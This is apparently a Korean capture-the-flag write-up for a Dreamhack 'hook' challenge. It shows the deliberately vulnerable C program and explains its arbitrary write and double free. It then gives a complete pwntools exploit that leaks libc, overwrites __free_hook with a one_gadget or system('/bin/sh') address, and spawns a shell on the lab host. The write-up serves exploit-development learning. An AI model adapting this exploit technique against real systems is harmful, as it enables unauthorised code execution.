

Full RELRO, Canary, NX가 적용되어 있습니다. Full RELRO가 적용중이므로 hook overwrite를 사용해야 할 것 같습니다.
hook.c도 살펴보겠습니다.
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[])
{
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr + 1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
앞의 oneshot 문제와 마찬가지로 stdout의 메모리 주소를 제공해 줍니다. 따라서 libc base를 얻을 수 있습니다. read(0, ptr, size)는 size도 앞에서 입력을 받으므로 ptr에 원하는 만큼의 입력을 받을 수 있습니다.
*(long *)*ptr = *(ptr + 1);
이 부분이 해석하기 좀 어려웠는데 간단히 설명하면 ptr[0]의 위치에 ptr[1]의 값을 저장하는 코드입니다. ptr[0]에 free_hook을 넣고 ptr[1]에 셸을 얻을 수 있는 가젯 혹은 함수를 넣으면 free가 실행될 때 셸을 얻을 수 있습니다.
먼저 libc_base를 얻어주겠습니다.
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = remote("host1.dreamhack.games", 17009)
e = ELF("./hook")
libc = ELF("./libc-2.23.so")
p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
free = lb + libc.symbols["__free_hook"]
이제 read(0, ptr, size)를 통해 구한 free를 적절한 값으로 덮어서 셸을 얻을 수 있습니다. 가장 먼저 떠오르는 방법은 one_gadget을 활용해 셸을 얻는 방법입니다. 또 다른 방법은 hook.c에는 system("/bin/sh")가 존재합니다. 이 문제는 PIE가 적용되어 있지 않으므로 system("/bin/sh")의 주소를 구해 free에 덮어 셸을 얻을 수 있습니다.
#one_gadget ./libc-2.23.so
one_gadget = lb + 0x4527a
#0x0000000000400a11 <+199>: mov edi,0x400aeb
#0x0000000000400a16 <+204>: call 0x400788 <system@plt>
main_system = 0x400a11
p.sendlineafter("Size: ", str(100))
payload = p64(free) + p64(one_gadget)
#payload = p64(free) + p64(main_system)
p.sendlineafter("Data: ", payload)
p.interactive()
둘 중 어느 방법을 사용해도 셸을 얻을 수 있습니다.
아래는 전체 코드입니다.
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = remote("host1.dreamhack.games", 17009)
e = ELF("./hook")
libc = ELF("./libc-2.23.so")
p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
free = lb + libc.symbols["__free_hook"]
one_gadget = lb + 0x4527a
main_system = 0x400a11
p.sendlineafter("Size: ", str(100))
payload = p64(free) + p64(one_gadget)
p.sendlineafter("Data: ", payload)
p.interactive()
실행하면 셸을 얻을 수 있습니다.
